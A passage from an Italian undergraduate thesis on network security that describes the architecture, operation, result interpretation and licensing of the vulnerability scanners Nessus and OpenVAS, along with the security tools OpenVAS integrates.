I plugin sono scritti in Nessus Attack Scripting Language (NASL), un linguaggiodi scripting specializzato per le comunicazioni su una rete TCP/IP. L’argomento delLinguaggio NASL viene trattato in modo approfondito e con esempi nel capitolo 5.

4.3.1.3 Come funziona

Il pacchetto software disponibile per Microsoft Windows, Mac OS X, Linux,FreeBSD, Solaris comprende server, client e l’interprete per i plugin. Il clientè un’interfaccia web, che permette all’utente di impostare le diverse politiche discansione e di visualizzare i risultati, è accessibile alla porta 8834, tramite il protocolloHyper Text Transfer Protocol Secure (HTTPS). La comunicazione client-serveravviene attraverso il protocollo crittografico Secure Sockets Layer (SSL). Il server ècomposto dall’interprete NASL e dall’engine. Il primo traduce i plugin in istruzioniper il secondo, il quale esegue la scansione vera e propria.L’applicazione richiede un accesso autenticato. Esso può avvenire tramite l’utilizzodi credenziali (username e password) oppure tramite certificati (integrati nella PublicKey Infrastructure).Per avviare una nuova scansione sono necessari alcuni parametri, quelli fondamentaliriguardano la sottorete degli host da analizzare, i plugin che identificano gli obiettividella scansione e la categoria a cui appartengono. Al termine della scansione saràpossibile leggere i risultati ottenuti come mostrato in Figura 4.5 ed esportarli in variformati.

Page 48: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 42

Figura 4.5: Esempio di un report di Nessus

4.3.1.4 Struttura

Nessus è basato su un’architettura server/client. La separazione fisica tra client eserver permette di effettuare una scansione sfruttando le risorse di uno o più host,ognuno dei quali ospita una copia del server. Questa soluzione è da preferire, adesempio, all’utilizzo di un singolo server dove risiede anche il client, poiché ognihost dedicato può essere dotato di una migliore capacità computazionale e di unaelevata disponibilità di memoria, per ridurre il tempo necessario per completare unascansione.Se una rete è formata da più segmenti separati, ad esempio, da un firewall o dauno switch, l’uso di server posizionati in ogni segmento consente di effettuare unascansione dell’intera rete, evitando di sottrarre una consistente porzione di larghezzadi banda alle applicazioni di rete già presenti. Un minor spreco di banda permette dipianificare scansioni più frequenti della rete.

4.3.1.5 Knowledge Base

Il Knowledge Base o KB è un componente di Nessus che permette lo scambio diinformazioni tra i plugin. Un plugin può leggere oppure aggiungere informazioni alKnowledge Base. Queste informazioni, contengono lo stato di funzionamento, il tipodi servizio, la porta su cui è in ascolto e la risposta di presentazione per ogni serviziodi rete rilevato.L’uso del Knowledge Base riduce il tempo di scansione, evitando di ripetere la ricercadi informazioni già raccolte da plugin eseguiti in precedenza. Questa soluzione evitaanche di eseguire un attacco su un obiettivo non vulnerabile. Infatti il plugin puòsapere in anticipo se il servizio non è attivo o non è vulnerabile ed evitare cosiun’operazione inutile. Per esempio, se un plugin deve verificare la presenza di unavulnerabilità in un server web, può utilizzare un record nel Knowledge Base, che lo

Page 49: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 43

informa se per quel tipo di servizio esiste almeno una porta Transmission ControlProtocol (TCP) su cui è in ascolto un demone. Le informazioni memorizzate nelKnowledge Base possono essere utilizzate anche per scansioni successive, purchéavvengano entro un periodo di tempo limitato. Il tempo massimo è stabilito dallavariabile kb_max_age, con un valore di default pari a 864000 secondi (dieci giorni).

4.3.1.6 Scansione di un sistema

La valutazione delle vulnerabilità di un sistema, realizzata mediante Nessus,deve iniziare con una pianificazione della scansione. Per pianificazione si intendeun insieme di scelte per raggiungere un compromesso tra rischi e benefici. PoichéNessus esegue una serie di operazioni indistinguibili da un attacco reale, i rischi daconsiderare sono, ad esempio, il blocco dei servizi di rete o degli host, l’alterazione deipercorsi di rete o la stampa incontrollata di dati casuali. Queste motivazioni possonoportare ad escludere una tipologia di servizi o un gruppo di host dalla scansione.La scelta di escludere parte del sistema può essere influenzata anche dalla necessitàdi ridurre il tempo impiegato per realizzare la scansione. Questo compromesso nonriguarda solo la scelta degli host da includere nella scansione, ma anche quella deiplugin da eseguire e la loro modalità di esecuzione. La modalità determina qualiistruzioni possono essere eseguite in un plugin.Tali modalità di esecuzione possono essere:

• Aggressiva: invia una o più richieste all’host per capire se è vulnerabile in baseal tipo di risposte che esso riceve.

• Safe mode, invece, si limita ad una semplice interpretazione delle informazionirecuperate dai messaggi di presentazione ottenuti durante una connessione adun servizio di rete.

L’ordine in cui sono eseguiti i plugin cerca di soddisfare due vincoli.Il primo cerca di mantenere una coerenza tra le dipendenze dei plugin. Per garan-tire la consistenza occorre che i plugin siano eseguiti nell’ordine in cui accedono alKnowledge Base. Deve essere quindi rispettata la regola per cui ogni plugin che fauso di un’informazione condivisa deve essere eseguito dopo il plugin che fornisce taleinformazione.Il secondo vincolo cerca di evitare interferenze tra i plugin. Esso è soddisfattoquando, per ogni host e per ogni servizio, vengono eseguiti per primi quei plugin cheimplementano attacchi che non causano malfunzionamenti e, solo successivamente,tutti gli altri, in ordine di aggressività crescente. Questo comportamento cerca dievitare interferenze tra diversi attacchi, ad esempio un plugin che potrebbe causareil riavvio di un host non deve essere eseguito prima di tutti quegli attacchi che, purinteragendo con l’host, non ne alterano lo stato.Per effettuare un’analisi più approfondita di un protocollo potrebbe essere necessarioutilizzare delle credenziali di accesso. Questo può essere utile, ad esempio, per esten-dere l’analisi in un contesto in cui gli attacchi possono essere portati da un attaccanteche ha accesso al sistema. Le credenziali possono essere immesse direttamente dachi prepara la scansione o fornite da altri plugin che, attraverso la Knowledge Base,tentano combinazioni di username e password comuni.

Page 50: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 44

4.3.1.7 Interpretazione dei risultati

Nessus offre un punto di partenza nella valutazione dei rischi generando unreport alla fine dell’analisi. Per comprenderlo correttamente è necessario conoscerele definizioni di vulnerabilità, di rischio e capire la logica adottata da Nessus nelvalutare la loro presenza. Una vulnerabilità in una rete TCP/IP può essere dovutaad un errore di programmazione, configurazione o amministrazione che può rendereil sistema soggetto ad attacchi. Le proprietà critiche per la sicurezza di un sistemasono la confidenzialità, l’integrità e la disponibilità.Un report di Nessus contiene una lista delle vulnerabilità che possono ridurre unao più di queste tre proprietà. Lo strumento tenta di classificare una vulnerabilitàe di spiegarne il potenziale impatto, ma chi legge il report deve essere in grado distabilire quali di queste proprietà possono essere ridotte da una vulnerabilità.Uno strumento automatizzato come Nessus non è in grado di valutare correttamentese una vulnerabilità che è presente su un host possa mettere a rischio anche gli altrihost presenti nella rete. In altre parole, non è in grado di valutare quali attacchicomplessi sono in grado di sfruttare le vulnerabilità. Questo è un aspetto importante,da tener conto durante l’interpretazione di un report.Un altro aspetto importante da tenere in considerazione durante l’analisi di un reportè che le vulnerabilità di un sistema non permettono di dedurre in modo immediatoil rischio, che è funzione della probabilità che esso sia attaccato con successo edell’impatto dell’attacco.L’esecuzione di ogni plugin procede nel seguente modo:

1. Si assicura che tutti i plugin, da cui dipende, siano già stati eseguiti.

2. Determina se i servizi che deve analizzare sono attivi sull’host. Questo disolito avviene accedendo alla Knowledge Base che contiene le informazioni giàraccolte.

3. Se non vengono trovati servizi attivi, il plugin può procedere con l’esecuzioneutilizzando impostazioni di default o terminare la propria esecuzione.

4. Se possibile, il plugin verifica la presenza di header provenienti dalle risposteraccolte da un precedente port scan e ne analizza il contenuto per tentare dideterminare se vi siano vulnerabilità riconoscibili. Questa fase può utilizzare,ad esempio, il nome e la versione del software che fornisce il servizio.

5. Se consentito dalla configurazione safe mode, si tenta di verificare se la vul-nerabilità esiste. Tipicamente vengono inviate informazioni appositamentegenerate ed analizzate le risposte ricevute. In base alle risposte si determina sela vulnerabilità esiste.

6. La vulnerabilità trovata viene contrassegnata con un valore che ne determina illivello di rischio. Tale valore è deciso dall’autore del plugin.

Ogni plugin dipende da quelli precedentemente eseguiti se accede al KnowledgeBase e se si fida delle informazioni raccolte senza verificare che esse siano corrette.Talvolta però un plugin può generare informazioni non completamente corrette oincomplete. Questo può trarre in inganno chi ne fa uso, generando falsi positivi o

Page 51: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 45

peggio ancora falsi negativi.Per esempio, l’analisi per rilevare un cavallo di troia potrebbe memorizzare l’infor-mazione che la porta, normalmente associata a questo malware, risulta aperta e,nonostante vi sia in ascolto un servizio legittimo, non memorizzarne l’associazionecon quest’ultimo. In questo caso il plugin potrebbe segnalare la presenza di unsoftware sospetto in ascolto che in realtà non esiste.Molti plugin si limitano ad analizzare le informazioni rilevate durante il port scan,sopratutto nel caso in cui l’analisi non debba essere invasiva. Le informazioni presentinel Knowledge Base spesso non sono aggiornate dopo una modifica o un aggiorna-mento dei servizi ritenuti vulnerabili. Infatti, talvolta, il servizio oggetto di unascansione non cambia la propria risposta di presentazione dopo l’installazione diun aggiornamento che corregge un bug. Tale comportamento, conosciuto comebackporting, può indurre in errore Nessus e di ciò si deve tenere conto durante unaanalisi verificando che livello raggiunge l’applicazione di una patch.Se si esegue una analisi includendo tra gli indirizzi Internet Protocol (IP) da esa-minare uno o più host che sono accessibili attraverso un proxy trasparente, Nessuspuò segnalare la disponibilità di un servizio, ad esempio un server web, anche sein realtà l’host non ha nessun demone attivo sulla porta TCP segnalata. Infatti, ilproxy trasparente può rispondere al posto dell’Host reale con un pacchetto TCPdi tipo SYN, indipendentemente dalla reale disponibilità di una porta TCP apertasull’host che protegge.Un plugin che rileva una vulnerabilità, eseguendo un attacco di un host, ha la certezzache esso sia vulnerabile solo se questo produce un immediato risultato, ad esempioun’interruzione del servizio o il ritorno di un core dump, che certifica il successodell’azione eseguita. L’eventuale ritardo rappresenta un problema per determinarela presenza di una vulnerabilità e spesso un plugin si limita a segnalare l’host comevulnerabile, rischiando di generare falsi positivi.

4.3.1.8 Tipi di licenza

Nessus è gratuito per uso personale, in un ambiente non aziendale. I tipi dilicenza sono i seguenti:

• Nessus Home: consente di eseguire scansioni della rete domestica personalecon lo stesso scanner delle versioni a pagamento, con i limiti che ogni scannervenga registrato presso il sito ufficiale, l’utilizzo di tale scanner non sia perscopi professionali e il numero massimo di indirizzi IP nella rete di cui si vuoleeffettuale il controllo di sicurezza non superi i 16 host.

• Nessus Cloud: basato sul cloud, combina un prodotto completo nella ricercadelle vulnerabilità con la versatilità del cloud.

• Nessus Manager: gestione completa, combina la potenza delle scansioni, rileva-mento vulnerabilità e auditing di Nessus con un estrema versatilità, adatto peraziende di grandi dimensioni con un team addetto alla sicurezza al suo interno.

• Nessus Professional: eseguire vulnerability assessment come uno studio diconsulenza, cioè utilizzato da un singolo individuo che fornisce consulenza sullasicurezza informatica, effettuando scansioni su richiesta alle aziende.

Page 52: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 46

I tipi di licenza di Nessus Cloud, Manager e Professional hanno rispettivamenteparticolari funzionalità specifiche per l’ambito in cui vanno ad operare, questopermette di avere un prodotto mirato con solo le opzioni necessarie. Queste licenzedi Nessus hanno un costo di $2,920.00 per 128 host o $4,745.00 per 256 host, nelcaso si superasse i 256 host bisogna contattare Tenable per richiedere un preventivosu misura.Ogni licenza dispone di una versione di prova (Professional: 7 giorni, Cloud: 14giorni, Manager: si deve contattare Tenable) che contiene parte delle funzionalitàinteressate, ad esempio per la licenza professional, in versione di prova non si rendonodisponibili le seguenti funzionalità, invece presenti nel prodotto completo: notificatramite mail di pericoli, schedulazione scansioni, personalizzazione controlli, analisidi conformità, ricerca dati sensibili, SCADA plugins, accesso alle macchine virtuali,accesso a terminali embedded e supporto del prodotto; rendendo solo disponibileeffettuare scansioni di vulnerabilità a sistemi e Web application per un massimo di16 host ed eventualmente la possibilità di esportare i report.Le licenze di Nessus Cloud e Manager dispongono della nuova tecnologia NessusAgents, che risolve la problematica delle macchine non attive quando si effettua unascansione (esagono rosso in figura 4.6), consiste in un leggero servizio da installaresu ogni macchina che provvederà a rilevare le vulnerabilità della macchina su cui èinstallato ed inviare periodicamente report al cloud o alla macchina disegnata comemanager(Figura 4.7).

Figura 4.6: Nessus scansione tradizionale

La tabelle 4.1, 4.2, 4.3 e 4.4 riassumono e confrontano le funzionalità offerte daogni versione di Nessus

Page 53: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 47

Figura 4.7: Nessus Agent technology

Funzionalità Professional Cloud ManagerScansione vulnerabilità X X XConfigurazione auditing X X XControlli di conformità X X XRilevazione Malware X X X

Scansione Web Application X X XRicerca dati sensibili X X X

Scansione a sistemi SCADA e embedded X X XSupporto Cloud X X X

Tabella 4.1: Confronto funzionalità di ricerca delle diverse licenze di Nessus

Funzionalità Professional Cloud ManagerAggiornamenti prodotto X X XAggiornamenti contenuti X X XGestione degli utenti - X X

Gestione risorse - X XSupporto clienti parziale completa completa

Tabella 4.3: Confronto funzionalità di gestione delle diverse licenze di Nessus

Page 54: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 48

Funzionalità Professional Cloud ManagerRilevamento ad alta velocità degli asset X X X

Scansione di più reti X X XAutenticato/Non Autenticato X X X

Schedulazione scansioni X X XScansione selettiva dell’host X X XAnalisi scansioni automatico X X X

Scansione con Agenti - X XSupporto a più scanner - X X

Scanner in tutto il mondo - X -Tabella 4.2: Confronto capacita della valutazione del rischio delle diverse licenze di Nessus

Funzionalità Professional Cloud ManagerReport flessibili X X X

Report multi-formato X X XNotifiche email pericoli X X X

Condivisione risultati e report - X XDashboard risultati - X X

Analisi report da Tenable - X -Tabella 4.4: Confronto report delle diverse licenze di Nessus

4.3.2 OpenVAS

4.3.2.1 Storia

OpenVAS (Open Vulnerability Assessment System) precedentemente noto comeGNessUs, è un fork del famoso security scanner Nessus. La nascita di questo fork,fu la risposta da parte della comunità Open Source, al cambio di licenza con cuiRenaud Deraison decise di rilasciare Nessus a partire dalla versione 2.5. A partire datale versione infatti, quello che era il miglior security scanner Open Source divennesoftware proprietario. Il progetto OpenVAS è stato avviato Tim Brown allo scopo dicreare un security scanner libero, Open Source che potesse sostituire egregiamenteNessus.OpenVAS è un software libero rilasciato sotto licenza GPL. L’ultima versione diOpenVAS è la 8, rilasciata ad Aprile 2015.

4.3.2.2 Cos’è

Open Vulnerability Assessment System è un framework di vari servizi e strumentiche offrono un completo e potente scanner di vulnerabilità e una soluzione per la lorogestione, permettendo di effettuare vulnerability assessment. Basandosi sullo stessoprogetto iniziale, OpenVAS e Nessus hanno diversi punti in comune, come vedremoin seguito, ma in particolare hanno mantenuto entrambi una struttura simile, infattil’ordine del tipo di operazioni svolte per rilevare le vulnerabilità, l’utilizzo di plugin(utilizzano lo stesso linguaggio NASL, come si vedrà nel capitolo 5) e secondo qualiparametri effettuare le scansioni è il medesimo.

Page 55: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 49

4.3.2.3 Come Funziona

OpenVAS è stato sviluppato per funzionare su sistemi operativi basati su Linux,tra cui RHEL/Fedora/CentOS, Kali Linux, Debian, Ubuntu.Il client, via shell o via interfaccia web, permette all’utente di impostare le diversepolitiche di scansione e di visualizzare i risultati, per accedergli è necessario auten-ticarsi tramite l’utilizzo di credenziali (username e password).L’interfaccia web èaccessibile alle porte 443 o 9392 tramite protocollo HTTPS (Hyper Text TransferProtocol Secure). il client comunica con il server alla porta 9390 utilizzando protocollicrittografici. Il server, formato dal Manager e dallo scanner, effettua le scansionisugli host della rete selezionata secondo le opzioni impostaste dal client, come adesempio: quali plugin utilizzare, se effettuare una scansione invasiva o meno, ...

Figura 4.8: Funzionamento delle componenti di OpenVAS

Al termine della scansione sarà possibile leggere i risultati ottenuti come mostratoin Figura 4.9 ed esportarli in vari formati.

Page 56: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 50

Figura 4.9: Esempio di un report di OpenVAS

4.3.2.4 Struttura

OpenVAS è basato su un’architettura client/server organizzata nella seguentemodalità:

• OpenVAS-Server: è il nucleo di OpenVAS. Contiene le funzionalità usate perla scansione di un vasto numero di macchine target, con una velocità elevata.Le scansioni sono sempre originate dall’host nel quale OpenVAS-Server è inesecuzione; pertanto, questa macchina deve essere in grado di raggiungere gliobiettivi previsti. Il server richiede 3 altri moduli:

– OpenVAS-Libraries: modulo contenente le funzionalità usate dal serverOpenVAS.

– OpenVAS-LibNASL: i Network Vulnerability Tests, NVTs, sono scrittinel linguaggio NASL (Nessus Attack Scripting Language), che vedremoin modo approfondito nel capitolo 5. Questo modulo contiene, invece,le funzionalità di cui il server OpenVAS necessita per interfacciarsi conNASL.

– OpenVAS-Plugins: modulo contenente un set base di NVTs, che potrà poiessere aggiornato.

• OpenVAS-Client: controlla il server OpenVAS: elabora i risultati della scan-sione e li visualizza all’utente. Il client può essere eseguito in qualsiasi macchinain grado di connettersi all’OpenVAS-Server e può controllare più server.

Le effettive componenti di OpenVAS sono mostrate in figura 4.10 e sono spiegatenel seguente elenco.

Page 57: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 51

• OpenVAS Manager: è il servizio principale che consolida la semplice scansio-ne delle vulnerabilità, in una soluzione completa di gestione delle vulnerabilità.Il manager controlla lo scanner tramite il protocollo OTP (OpenVAS TransferProtocol), ed è utilizzabile dai client tramite il protocollo OMP (OpenVASManagement Protocol), che è stateless e XML-based.La parte centrale dell’applicazione è implementata nel manager, in modo chesia possibile utilizzare più client simultaneamente. Inoltre il manager oltre acontrollare un SQL database (SQLite-based) in cui vengono salvate tutte leconfigurazioni e risultati delle scansioni, gestisce il controllo dell’accesso degliutenti con gruppi e regole. Le principali funzionalità di OpenVAS Managersono:

– OpenVAS Management Protocol (OMP);

– SQL Database (sqlite) per configurazioni e risultati scansioni;

– utilizzo SSL per OMP;

– più scansioni simultanee (Più OpenVAS Scanner);

– note di gestione per i risultati delle scansioni;

– gestione falsi positivi;

– pianificazione delle scansioni;

– fermare, mettere in pausa e riniziare i processi di scan;

– modalità Master-Slave per controllare più istanze da una centrale;

– possibilità di installare plugin per il formato dei report (XML, HTML,LateX, ...);

– gestione utenti;

– visualizzazione stato Feed;

– sincronizzazione Feed.

Figura 4.10: Protocolli di comunicazione delle componenti di OpenVAS

Sono disponibili due client per interagire con l’OpenVAS Manager, entrambiutilizzanti il protocollo OMP (OpenVAS Management Protocol).

Page 58: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 52

• Greenbone Security Assistant (GSA): è un servizio web che offre unainterfaccia utente snella per i browser web. GSA utilizza fogli di stile XSL checonvertono le risposte OMP in HTML. GSA supporta l’OpenVAS Administra-tion Protocol (OAP), che offre importanti funzionalità come la gestione degliutenti e la gestione dei feed. Le principali funzionalità del Greenbone SecurityAssistant (GSA) sono:

– client per OMP e OAP;

– HTTP e HTTPS;

– web server al suo interno (microhttpd);

– sistema di "aiuto" offline integrato;

– supporto Multi-utente.

• OpenVAS CLI: contiene la linea di comando "OMP" che permette di creareprocessi batch per gestire l’OpenVAS Manager. Le principali funzionalità delOpenVAS CLI sono:

– client for OMP;

– funziona su Windows, Linux, ...;

– plugin for Nagios (Software per monitorare host).

• OpenVAS Scanner: questa componente organizza e controlla l’esecuzionedella scansione ed è gestita dal manager mediante il protocollo di comunicazioneOTP (Open-VAS Transfer Protocol). Le principali funzionalità di OpenVASScanner sono:

– più host scansionati simultaneamente;

– OpenVAS Transfer Protocol (OTP);

– utilizzo SSL per OTP;

– supporto WMI (optional).

4.3.2.5 Aggiornamento NVT

I Network Vulnerability Tests (NVT) sono plugin eseguiti dallo scanner di Open-VAS, a seconda delle opzioni impostate dall’utente per la scansione, sono fornititramite aggiornamenti attraverso l’OpenVAS NVT Feed oppure da un servizio difeed commerciale. Il feed pubblico, seguito da OpenVAS project, contiene più di47.000 NVT(giugno 2016); cifra che, di solito, sale quotidianamente.Per la sincronizzazione on line degli NVT, è possibile usare un apposito comandooppure, in alternativa, è anche scaricabile un singolo archivio contenente tutti i NVT.I file del OpenVAS NVT Feed sono firmati per verificarne la corretta integrità deiNVTs dopo la sincronizzazione.Oltre l’OpenVAS NVT Feed, è disponibile anche un feed commerciale, offerto dallaGreenbone Networks e si chiama Greenbone Security Feed.

Page 59: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 53

Figura 4.11: OpenVAS NVT feed

4.3.2.6 Codice Sorgente OpenVAS

OpenVAS è un progetto completamente open source, favorendone il libero studioe permettendo a programmatori indipendenti di apportarvi modifiche ed estensioni.Per creare la documentazione del codice sorgente di OpenVAS è utilizzato il softwaredoxygen. La struttura del codice sorgente è orientata alle componenti, cioè lo svilupposi basa sulle componenti, permettendo di:

• Evitare codice sorgente ridondante: qualsiasi codice può essere utilizzato dapiù di un componente ed è parte di una delle cinque librerie. (figura 4.12).

• Evitare dipendenze da codice non-comune di terze parti: le componenti sibasano solo su librerie di base ampiamente utilizzate e provate.

Figura 4.12: Struttura del codice sorgente di OpenVAS

4.3.2.7 Software di sicurezza integrati in OpenVAS

OpenVAS utilizza diversi software open source di sicurezza e auditing per svolgerescansioni e analisi sulle reti. Similmente anche Nessus, potrebbe operare in modo,ma essendo software proprietario non c’è modo di fare considerazioni sulla strutturainterna. Si elencano di seguito i software integrati in OpenVAS:

Page 60: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 54

• Nikto: software per scansionare e testare la sicurezza dei server web. Ef-fettua vari tipi di test di sicurezza, come verificare la presenza di file o CGIpotenzialmente pericolosi, controllare la versione dei server (oltre 1250 i serversupportati), verificare che i file di configurazione del server sia propriamenteimpostasti(ad esempio che non ci siano più file indice).L’architettura di Nikto è basata sull’utilizzo di plugin, che ne permette il facileaggiornamento.OpenVAS ha integrato Nikto nel 12/08/2008, includendo un apposito file NASLnella libreria openvas-plugin.

• NMAP: Network Mapper (Nmap) è un strumento di scoperta ed analisi direti TCP/IP comparso per la prima volta nel Phrack Magazine, nel 1997,sotto forma di codice sorgente in linguaggio C. Una parte di questo codice furiutilizzata, nella fase iniziale dello sviluppo di Nessus, da parte di RenaudDeraison.Nmap è uno strumento open source sotto la licenza GNU GPL per la networkexploration e l’auditing. È stato progettato per scansionare rapidamente reti digrandi dimensioni, ma è indicato anche per l’utilizzo verso singoli host. Nmapusa pacchetti IP cosiddetti "raw" (grezzi, non formattati) in varie modalità perdeterminare quali host sono disponibili su una rete, che servizi (nome dell’ap-plicazione e versione) vengono offerti da questi host, che sistema operativo, conrelativa versione, è in esecuzione, che tipo di firewall e packet filters sono usati,e molte altre caratteristiche. Proprio quella di determinare da remoto qualesistema operativo è installato su una macchina, è una delle più famose caratte-ristiche di NMap. Questo avviene tramite il fingerprint dello stack TCP/IP.Nmap invia una serie di pacchetti TCP ed UDP all’host remoto ed esaminaogni bit ricevuto in risposta. Ogni fingerprint comprende una descrizione delsistema operativo ed una classificazione indicante: il vendor (per esempio Sun),il sistema operativo (per esempio Solaris), la versione (per esempio 10) ed iltipo di device ("general purpose", router, switch, "game console", ecc.).Nmap è multipiattaforma; è infatti disponibile per la maggior parte dei sistemioperativi disponibili.Nonostante Nmap sia comunemente usato per audits di sicurezza, molti siste-misti e amministratori di rete lo trovano utile per tutte le attività quotidianecome ad esempio l’inventario delle macchine presenti in rete, per gestire gliaggiornamenti programmati dei servizi, e per monitorare gli host o il lorouptime.OpenVAS ha integrato NMAP nel 25/09/2008, includendo un apposito fileNASL(nmap.nasl) nella libreria openvas-plugin, utilizzandolo come plugin peril portscanning. Il team di OpenVas consiglia di non utilizzare nmap.nasldirettamente su reti con un alto numero di host, ma di eseguire separatamentenmap e di importare successivamente i risultati tramite le funzioni del pluginnmap.nasl. NMAP esegue script tramite il Nmap Scripting Engine(NSE), chepermette inoltre di verificare la presenza di vulnerabilità, il team di OpenVASsta lavorando sull’integrazione di script NSE come plugin di OpenVAS.

• ike-scan: è un tool da riga di comando che utilizza il protocollo IKE perscoprire, fingerprint e testare i server VPN IPsec.

Page 61: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 55

Esegue la scansione di indirizzi IP per i server VPN inviando un IKE packetappositamente modificato per ogni host all’interno di una rete. La maggiorparte degli host dove è in esecuzione IKE risponderà, identificando la loropresenza. Il tool analizza senza lasciare traccia i pacchetti di risposta. Questerisposte sono salvate, visualizzate e confrontate con un insieme di fingerprintdi prodotti VPN. ike-scan supporta i prodotti di Checkpoint, Cisco, Microsoft,Nortel, e Watchguard.Ike-scan è usato da OpenVAS per identificare i terminali IPsec VPN. OpenVASha integrato ike-scan nel 15/09/2008, includendo un apposito file NASL nellalibreria openvas-plugin.

• snmpwalk: è un applicazione SNMP che recupera le sottostrutture di valoridi gestione delle entità di rete utilizzando le richieste SNMP GetNext.Snmpwalk è usato da OpenVAS nella fase di scansione delle porte del host.OpenVAS ha integrato snmpwalk nel 26/10/2008, includendo un apposito fileNASL nella libreria openvas-plugin.

• THC Amap: è un tool che determina quale applicazione è in ascolto suuna determinata porta, creando un alternativa quando NMAP non fallisce nelrilevamento di un servizio. THC Amap può analizzare i file di output di NMAP,per ripetere eventuali rilevamenti falliti su un particolare host.THC Amap è usato da OpenVAS nella fase di scansione delle porte del host.OpenVAS ha integrato THC Amap nel 26/10/2008, includendo un appositofile NASL nella libreria openvas-plugin.

• Ldapsearch: è un tool di OpenLDAP utilities e serve per recuperare informa-zioni da dizionari LDAP. Ldapsearch apre una connessione ad un server LDAP,e effettua ricerche usando specifici parametri.Ldapsearch è usato da OpenVAS nella ricerca di informazioni da server LDAP.OpenVAS ha integrato Ldapsearch nel 26/10/2008, includendo un apposito fileNASL nella libreria openvas-plugin.

• Security Local Auditing Daemon (SLAD): è un applicazione che permettea OpenVAS di eseguire i seguenti tool, quando sono installati sulla macchinaGNU/Linux:

– John-the-Ripper;

– Chkrootkit;

– LSOF;

– ClamAV;

– Tripwire;

– TIGER;

– Logwatch;

– TrapWatch;

– LM-Sensors;

– Snort;

Page 62: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 56

– Ovaldi;

OpenVAS ha integrato Ldapsearch nel 24/10/2008.

• Ovaldi (OVAL): è un interprete open-source sviluppato dalla MITRE perdimostrare la valutazione delle definizioni OVAL, scritte in XML e servono perrilevare la presenza di vulnerabilità, problemi di configurazione e tutto ciò chepuò essere soggetto ad exploit.Sulla base di un insieme di definizioni l’interprete raccoglie le informazioni disistema, le valuta, e genera uno schema OVAL, schema XML standardizzantela valutazione di un sistema. E’ stato sviluppato per dimostrare l’usabilitàdelle definizioni OVAL e garantire la correttezza sintattica degli schemi OVAL.Il supporto del linguaggio OVAL ha permesso a OpenVAS di estendere lacopertura delle vulnerabilità. OpenVAS ha integrato Ovaldi nel 20/02/2009.

• Pnscan: è un portscanner, con la particolarità di eseguire più scansioni inparallelo. Pnscan è usato da OpenVAS come portscanner. OpenVAS haintegrato Pnscan nel 26/10/2008, includendo un apposito file NASL nellalibreria openvas-plugin.

• Portbunny: è un portscanner basato sul Linux kernel. La scansione è effettua-ta in due passi: prima lo scanner cerca di trovare i pacchetti tali che il bersagliorisponda, poi viene eseguita la scansione. Durante la scansione i bersagli chehanno risposto nella prima fase sono usati per determinare la velocità ottimalein cui il bersaglio può essere scansionato. Portbunny è usato da OpenVAS comeportscanner. OpenVAS ha integrato Portbunny nel 26/10/2008, includendo unapposito file NASL nella libreria openvas-plugin.

• Strobe: è un portscanner che individua e analizza tutte le porte TCP inascolto su un host o su molti host, ottimizzando l’utilizzo della larghezza dibanda e delle risorse. Strobe è usato da OpenVAS come portscanner. OpenVASha integrato Strobe nel 26/10/2008, includendo un apposito file NASL nellalibreria openvas-plugin.

• W3af : (Web Application Attack and Audit Framework), è sia uno scanner siaun framework per il lancio di exploit, entrambi nei confronti di applicazioniweb. Consiste quindi in un ambiente completo per la verifica e l’attacco diapplicazioni web. E’ rilasciato con licenza GPL 2 e sviluppato in python.W3af ha diverse tipologie di plugin, ecco le tipologie fondamentali:

– Discovery: hanno il compito di trovare nuovi URL, form e altri cosiddetti"injection point". Un classico esempio di un plugin di discovery è un webspider: richiede un URL come input restituendo uno o più punti diiniezione. Quando un utente abilità più di un plugin di questo tipo, essilavorano in un ciclo: se un plugin trova un nuovo URL ne primo ciclo,w3af invierà tale URL al successivo plugin. Se poi anche quest’ultimotrova un nuovo URL, sarà inviato al primo plugin. Questo processoandrà avanti fino a quando tutti i plugin sono stati eseguiti e nessun’altrainformazione riguardo l’applicazione web scansionata può essere trovata,tramite i plugin di discovery abilitati precedentemente.

Page 63: Tesi di Laurea sulla Sicurezza delle Reti Informatiche: Le vulnerabilità

CAPITOLO 4. VULNERABILITÀ 57

– Evasion: vengono usati per provare a eludere l’eventuale sorveglianza diun IDS (Intrusion Detection System).

– Audit: una volta che i plugin di discovery hanno individuato tutti i puntidi iniezione, i plugin di audit inviano dati appositamente predisposti atutti loro, al fine di trovare vulnerabilità. Un classico esempio di un pluginaudit è quello che cerca vulnerabilità di tipo SQL injection.

– Grep: sono utilizzati per analizzare ogni risposta che il server restituisce,in cerca di dati utili, indipendentemente da quale plugin abbia avviato larichiesta.

– Attack : il suo obiettivo è quello di sfruttare le vulnerabilità trovate daiplugin di audit. Di solito restituisce una shell sul server remoto, o undump di tabelle remote in caso di un exploit con un SQL injection.

– Output: usati per scrivere l’output degli altri plugin e del frameworkstesso in un formato pratico come txt o html.

